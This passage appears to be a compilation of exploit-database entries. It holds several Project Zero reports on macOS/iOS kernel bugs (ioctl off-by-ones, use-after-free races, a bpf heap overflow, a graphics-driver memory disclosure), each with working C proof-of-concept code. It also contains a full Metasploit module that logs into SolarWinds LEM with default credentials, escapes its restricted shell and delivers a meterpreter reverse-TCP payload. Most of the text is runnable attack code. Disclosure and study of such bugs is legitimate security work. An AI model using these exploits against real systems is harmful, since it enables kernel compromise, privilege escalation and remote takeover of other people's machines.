tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
// ianbeer
// add gzalloc_size=16 to boot args to see the actual OOB write more easily
#if 0
MacOS/iOS kernel memory corruption due to off-by-one in SIOCGIFORDER socket ioctl
SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.
SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.
SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.
Here's the relevant code for SIOCGIFORDER:
case SIOCGIFORDER: { /* struct if_order */
struct if_order *ifo = (struct if_order *)(void *)data;
u_int32_t ordered_count = if_ordered_count; <----------------- (a)
if (ifo->ifo_count == 0 ||
ordered_count == 0) {
ifo->ifo_count = ordered_count;
} else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
u_int32_t count_to_copy =
MIN(ordered_count, ifo->ifo_count); <---------------- (b)
size_t length = (count_to_copy * sizeof(u_int32_t));
struct ifnet *ifp = NULL;
u_int32_t cursor = 0;
ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
if (ordered_indices == NULL) {
error = ENOMEM;
break;
}
ifnet_head_lock_shared();
TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
if (cursor > count_to_copy) { <------------------ (c)
break;
}
ordered_indices[cursor] = ifp->if_index; <------------------ (d)
cursor++;
}
ifnet_head_done();
at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)
at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list
the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!
By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.
This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <mach/mach.h>
struct if_order {
u_int32_t ifo_count;
u_int32_t ifo_reserved;
mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */
};
#define SIOCSIFORDER _IOWR('i', 178, struct if_order)
#define SIOCGIFORDER _IOWR('i', 179, struct if_order)
void set(int fd, uint32_t n) {
uint32_t* data = malloc(n*4);
for (int i = 0; i < n; i++) {
data[i] = 1;
}
struct if_order ifo;
ifo.ifo_count = n;
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
ioctl(fd, SIOCSIFORDER, &ifo);
free(data);
}
void get(int fd, uint32_t n) {
uint32_t* data = malloc(n*4);
memset(data, 0, n*4);
struct if_order ifo;
ifo.ifo_count = n;
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
ioctl(fd, SIOCGIFORDER, &ifo);
free(data);
}
int main() {
int fd = socket(PF_INET, SOCK_STREAM, 0);
set(fd, 5);
get(fd, 4);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1104
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.
This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.
Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
*/
// ianbeer
#if 0
MacOS/iOS kernel uaf due to double-release in posix_spawn
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.
This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.
Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <spawn.h>
#include <mach/mach.h>
int main() {
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
posix_spawnattr_t attrs;
posix_spawnattr_init(&attrs);
posix_spawnattr_setauditsessionport_np(&attrs,p);
char* _argv[] = {"/usr/bin/id", NULL};
int child_pid = 0;
int spawn_err = posix_spawn(&child_pid,
"/usr/bin/id",
NULL, // file actions
&attrs,
_argv,
NULL);
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
it falls through to calling:
ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
ifnet_reset_order contains this code:
for (u_int32_t order_index = 0; order_index < count; order_index++) {
u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a)
if (interface_index == IFSCOPE_NONE ||
(int)interface_index > if_index) { <-------------------------- (b)
break;
}
ifp = ifindex2ifnet[interface_index]; <-------------------------- (c)
if (ifp == NULL) {
continue;
}
ifnet_lock_exclusive(ifp);
TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d)
ifnet_lock_done(ifp);
if_ordered_count++;
}
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
(on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below)
*/
// ianbeer
#if 0
MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
it falls through to calling:
ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
ifnet_reset_order contains this code:
for (u_int32_t order_index = 0; order_index < count; order_index++) {
u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a)
if (interface_index == IFSCOPE_NONE ||
(int)interface_index > if_index) { <-------------------------- (b)
break;
}
ifp = ifindex2ifnet[interface_index]; <-------------------------- (c)
if (ifp == NULL) {
continue;
}
ifnet_lock_exclusive(ifp);
TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d)
ifnet_lock_done(ifp);
if_ordered_count++;
}
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <mach/mach.h>
struct if_order {
u_int32_t ifo_count;
u_int32_t ifo_reserved;
mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */
};
#define SIOCSIFORDER _IOWR('i', 178, struct if_order)
int main() {
uint32_t data[] = {0x80001234};
struct if_order ifo;
ifo.ifo_count = 1;
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
int fd = socket(PF_INET, SOCK_STREAM, 0);
int ret = ioctl(fd, SIOCSIFORDER, &ifo);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1116
necp_open is a syscall used to obtain a new necp file descriptor
The necp file's fp's fg_data points to a struct necp_fd_data allocated on the heap.
Here's the relevant code from necp_open:
error = falloc(p, &fp, &fd, vfs_context_current()); <--------------------- (a)
if (error != 0) {
goto done;
}
if ((fd_data = _MALLOC(sizeof(struct necp_fd_data), M_NECP,
M_WAITOK | M_ZERO)) == NULL) {
error = ENOMEM;
goto done;
}
fd_data->flags = uap->flags;
LIST_INIT(&fd_data->clients);
lck_mtx_init(&fd_data->fd_lock, necp_fd_mtx_grp, necp_fd_mtx_attr);
klist_init(&fd_data->si.si_note);
fd_data->proc_pid = proc_pid(p);
fp->f_fglob->fg_flag = FREAD;
fp->f_fglob->fg_ops = &necp_fd_ops;
fp->f_fglob->fg_data = fd_data; <-------------------------- (b)
proc_fdlock(p);
*fdflags(p, fd) |= (UF_EXCLOSE | UF_FORKCLOSE);
procfdtbl_releasefd(p, fd, NULL);
fp_drop(p, fd, fp, 1);
proc_fdunlock(p); <--------------------- (c)
*retval = fd;
lck_rw_lock_exclusive(&necp_fd_lock); <---------------- (d)
LIST_INSERT_HEAD(&necp_fd_list, fd_data, chain); <------(e)
lck_rw_done(&necp_fd_lock);
at (a) a new file descriptor and file object is allocated for the calling process
at (b) that new file's fg_data is set to the fd_data heap allocation
at (c) the process fd table is unlocked meaning that other processes can now look up
the new fd and get the associated fp
at (d) the necp_fd_lock is taken then at (e) the fd_data is enqueued into the necp_fd_list
The bug is that the fd_data is owned by the fp so that after we drop the proc_fd lock at (c)
another thread can call close on the new fd which will free fd_data before we enqueue it at (e).
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
in: "...that other processes can now look up the new fd and get the associated fp..." I meant threads, not processes!
*/
// ianbeer
#if 0
MacOS/iOS kernel uaf due to bad locking in necp_open
necp_open is a syscall used to obtain a new necp file descriptor
The necp file's fp's fg_data points to a struct necp_fd_data allocated on the heap.
Here's the relevant code from necp_open:
error = falloc(p, &fp, &fd, vfs_context_current()); <--------------------- (a)
if (error != 0) {
goto done;
}
if ((fd_data = _MALLOC(sizeof(struct necp_fd_data), M_NECP,
M_WAITOK | M_ZERO)) == NULL) {
error = ENOMEM;
goto done;
}
fd_data->flags = uap->flags;
LIST_INIT(&fd_data->clients);
lck_mtx_init(&fd_data->fd_lock, necp_fd_mtx_grp, necp_fd_mtx_attr);
klist_init(&fd_data->si.si_note);
fd_data->proc_pid = proc_pid(p);
fp->f_fglob->fg_flag = FREAD;
fp->f_fglob->fg_ops = &necp_fd_ops;
fp->f_fglob->fg_data = fd_data; <-------------------------- (b)
proc_fdlock(p);
*fdflags(p, fd) |= (UF_EXCLOSE | UF_FORKCLOSE);
procfdtbl_releasefd(p, fd, NULL);
fp_drop(p, fd, fp, 1);
proc_fdunlock(p); <--------------------- (c)
*retval = fd;
lck_rw_lock_exclusive(&necp_fd_lock); <---------------- (d)
LIST_INSERT_HEAD(&necp_fd_list, fd_data, chain); <------(e)
lck_rw_done(&necp_fd_lock);
at (a) a new file descriptor and file object is allocated for the calling process
at (b) that new file's fg_data is set to the fd_data heap allocation
at (c) the process fd table is unlocked meaning that other processes can now look up
the new fd and get the associated fp
at (d) the necp_fd_lock is taken then at (e) the fd_data is enqueued into the necp_fd_list
The bug is that the fd_data is owned by the fp so that after we drop the proc_fd lock at (c)
another thread can call close on the new fd which will free fd_data before we enqueue it at (e).
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/syscall.h>
int necp_open(int flags) {
return syscall(SYS_necp_open, flags);
}
void* closer(void* arg) {
while(1) {
close(3);
}
}
int main() {
for (int i = 0; i < 10; i++) {
pthread_t t;
pthread_create(&t, NULL, closer, NULL);
}
while (1) {
int fd = necp_open(0);
close(fd);
}
return 0;
}
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "SolarWind LEM Default SSH Password Remote Code Execution",
'Description' => %q{
This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH
service is accessed with the default username and password which is "cmc" and "password". By exploiting a
vulnerability that exist on the menuing script, an attacker can escape from restricted shell.
This module was tested against SolarWinds LEM v6.3.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>', # discovery & msf module
],
'References' =>
[
['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
],
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'Privileged' => false,
'DisclosureDate' => "Mar 17 2017",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(32022),
OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
]
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def exploit
factory = ssh_socket_factory
opts = {
:auth_methods => ['keyboard-interactive'],
:port => rport,
:use_agent => false,
:config => false,
:password => password,
:proxy => factory,
:non_interactive => true
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
payload_executed = false
print_good("SSH connection is established.")
ssh.open_channel do |channel|
print_status("Requesting pty... We need it in order to interact with menuing system.")
channel.request_pty do |ch, success|
raise ::RuntimeError, "Could not request pty!" unless success
print_good("Pty successfully obtained.")
print_status("Requesting a shell.")
ch.send_channel_request("shell") do |ch, success|
raise ::RuntimeError, "Could not open shell!" unless success
print_good("Remote shell successfully obtained.")
end
end
channel.on_data do |ch, data|
if data.include? "cmc "
print_good("Step 1 is done. Managed to access terminal menu.")
channel.send_data("service\n")
end
if data.include? "service "
print_good("Step 2 is done. Managed to select 'service' sub menu.")
channel.send_data("restrictssh\n")
end
if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance"
print_good("Step 3 is done. Managed to start 'restrictssh' function.")
channel.send_data("*#`bash>&2`\n")
end
if data.include? "Are the hosts"
print_good("Step 4 is done. We are going to try escape from jail shell.")
channel.send_data("Y\n")
end
if data.include? "/usr/local/contego"
if payload_executed == false
print_good("Sweet..! Escaped from jail.")
print_status("Delivering payload...")
channel.send_data("python -c \"#{payload.encoded}\"\n")
payload_executed = true
end
end
end
end
ssh.loop unless session_created?
end
end
end
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1125
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
case BIOCSBLEN: /* u_int */
if (d->bd_bif != 0)
error = EINVAL;
else {
u_int size;
bcopy(addr, &size, sizeof (size));
if (size > bpf_maxbufsize)
size = bpf_maxbufsize;
else if (size < BPF_MINBUFSIZE)
size = BPF_MINBUFSIZE;
bcopy(&size, addr, sizeof (size));
d->bd_bufsize = size;
}
break;
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
If we then attach to an interface again we hit this code in bpf_setif:
if (d->bd_sbuf == 0) {
error = bpf_allocbufs(d);
if (error != 0)
return (error);
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
This bug is a root -> kernel priv esc
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
//ianbeer
#if 0
MacOS/iOS kernel heap overflow in bpf
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
case BIOCSBLEN: /* u_int */
if (d->bd_bif != 0)
error = EINVAL;
else {
u_int size;
bcopy(addr, &size, sizeof (size));
if (size > bpf_maxbufsize)
size = bpf_maxbufsize;
else if (size < BPF_MINBUFSIZE)
size = BPF_MINBUFSIZE;
bcopy(&size, addr, sizeof (size));
d->bd_bufsize = size;
}
break;
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
If we then attach to an interface again we hit this code in bpf_setif:
if (d->bd_sbuf == 0) {
error = bpf_allocbufs(d);
if (error != 0)
return (error);
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
This bug is a root -> kernel priv esc
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
int main(int argc, char** argv) {
int fd = open("/dev/bpf3", O_RDWR);
if (fd == -1) {
perror("failed to open bpf device\n");
exit(EXIT_FAILURE);
}
// first set a small length:
int len = 64;
int err = ioctl(fd, BIOCSBLEN, &len);
if (err == -1) {
perror("setting small buffer length");
exit(EXIT_FAILURE);
}
// create an interface which we can destroy later:
system("ifconfig bridge7 create");
// connect the bpf device to that interface, allocating the buffer
struct ifreq ifr;
strcpy(ifr.ifr_name, "bridge7");
err = ioctl(fd, BIOCSETIF, &ifr);
if (err == -1) {
perror("attaching to interface");
exit(EXIT_FAILURE);
}
// remove that interface, detaching us:
system("ifconfig bridge7 destroy");
// set a large buffer size:
len = 4096;
err = ioctl(fd, BIOCSBLEN, &len);
if (err == -1) {
perror("setting large buffer length");
exit(EXIT_FAILURE);
}
// connect to a legit interface with traffic:
strcpy(ifr.ifr_name, "lo0");
err = ioctl(fd, BIOCSETIF, &ifr);
if (err == -1) {
perror("attaching to interface");
exit(EXIT_FAILURE);
}
// wait for a packet...
system("ping localhost -s 1400");
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1126
MacOS kernel memory corruption due to off-by-one in audit_pipe_open
audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
Here's the code:
static int
audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype,
__unused proc_t p)
{
struct audit_pipe *ap;
int u;
u = minor(dev);
if (u < 0 || u > MAX_AUDIT_PIPES)
return (ENXIO);
AUDIT_PIPE_LIST_WLOCK();
ap = audit_pipe_dtab[u];
if (ap == NULL) {
ap = audit_pipe_alloc();
if (ap == NULL) {
AUDIT_PIPE_LIST_WUNLOCK();
return (ENOMEM);
}
audit_pipe_dtab[u] = ap;
We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES];
There's an off-by-one in the minor number bounds check
(u < 0 || u > MAX_AUDIT_PIPES)
should be
(u < 0 || u >= MAX_AUDIT_PIPES)
The other special file operation handlers assume that the minor number of an opened device
is correct therefore it isn't validated for example in the ioctl handler:
static int
audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
__unused int flag, __unused proc_t p)
{
...
ap = audit_pipe_dtab[minor(dev)];
KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
...
switch (cmd) {
case FIONBIO:
AUDIT_PIPE_LOCK(ap);
if (*(int *)data)
Directly after the audit_pipe_dtab array in the bss is this global variable:
static u_int64_t audit_pipe_drops;
audit_pipe_drops will be incremented each time an audit message enqueue fails:
if (ap->ap_qlen >= ap->ap_qlimit) {
ap->ap_drops++;
audit_pipe_drops++;
return;
}
So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
struct audit_pipe* which is read out-of-bounds.
For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
then the ioctl will try to use that pointer.
This is a root to kernel privesc.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
//ianbeer
#if 0
MacOS kernel memory corruption due to off-by-one in audit_pipe_open
audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
Here's the code:
static int
audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype,
__unused proc_t p)
{
struct audit_pipe *ap;
int u;
u = minor(dev);
if (u < 0 || u > MAX_AUDIT_PIPES)
return (ENXIO);
AUDIT_PIPE_LIST_WLOCK();
ap = audit_pipe_dtab[u];
if (ap == NULL) {
ap = audit_pipe_alloc();
if (ap == NULL) {
AUDIT_PIPE_LIST_WUNLOCK();
return (ENOMEM);
}
audit_pipe_dtab[u] = ap;
We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES];
There's an off-by-one in the minor number bounds check
(u < 0 || u > MAX_AUDIT_PIPES)
should be
(u < 0 || u >= MAX_AUDIT_PIPES)
The other special file operation handlers assume that the minor number of an opened device
is correct therefore it isn't validated for example in the ioctl handler:
static int
audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
__unused int flag, __unused proc_t p)
{
...
ap = audit_pipe_dtab[minor(dev)];
KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
...
switch (cmd) {
case FIONBIO:
AUDIT_PIPE_LOCK(ap);
if (*(int *)data)
Directly after the audit_pipe_dtab array in the bss is this global variable:
static u_int64_t audit_pipe_drops;
audit_pipe_drops will be incremented each time an audit message enqueue fails:
if (ap->ap_qlen >= ap->ap_qlimit) {
ap->ap_drops++;
audit_pipe_drops++;
return;
}
So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
struct audit_pipe* which is read out-of-bounds.
For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
then the ioctl will try to use that pointer.
This is a root to kernel privesc.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <bsm/audit.h>
#include <security/audit/audit_ioctl.h>
int main(int argc, char** argv) {
system("rm -rf /dev/auditpipe");
system("mknod /dev/auditpipe c 10 32");
int fd = open("/dev/auditpipe", O_RDWR);
if (fd == -1) {
perror("failed to open auditpipe device\n");
exit(EXIT_FAILURE);
}
printf("opened device\n");
system("touch a_log_file");
int auditerr = auditctl("a_log_file");
if (auditerr == -1) {
perror("failed to set a new log file\n");
}
uint32_t qlim = 1;
int err = ioctl(fd, AUDITPIPE_SET_QLIMIT, &qlim);
if (err == -1) {
perror("AUDITPIPE_SET_QLIMIT");
exit(EXIT_FAILURE);
}
while(1) {
char* audit_data = "\x74hello";
int audit_len = strlen(audit_data)+1;
audit(audit_data, audit_len);
uint32_t nread = 0;
int err = ioctl(fd, FIONREAD, &qlim);
if (err == -1) {
perror("FIONREAD");
exit(EXIT_FAILURE);
}
}
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_mem capri_mem.c -framework IOKit
#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x710,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
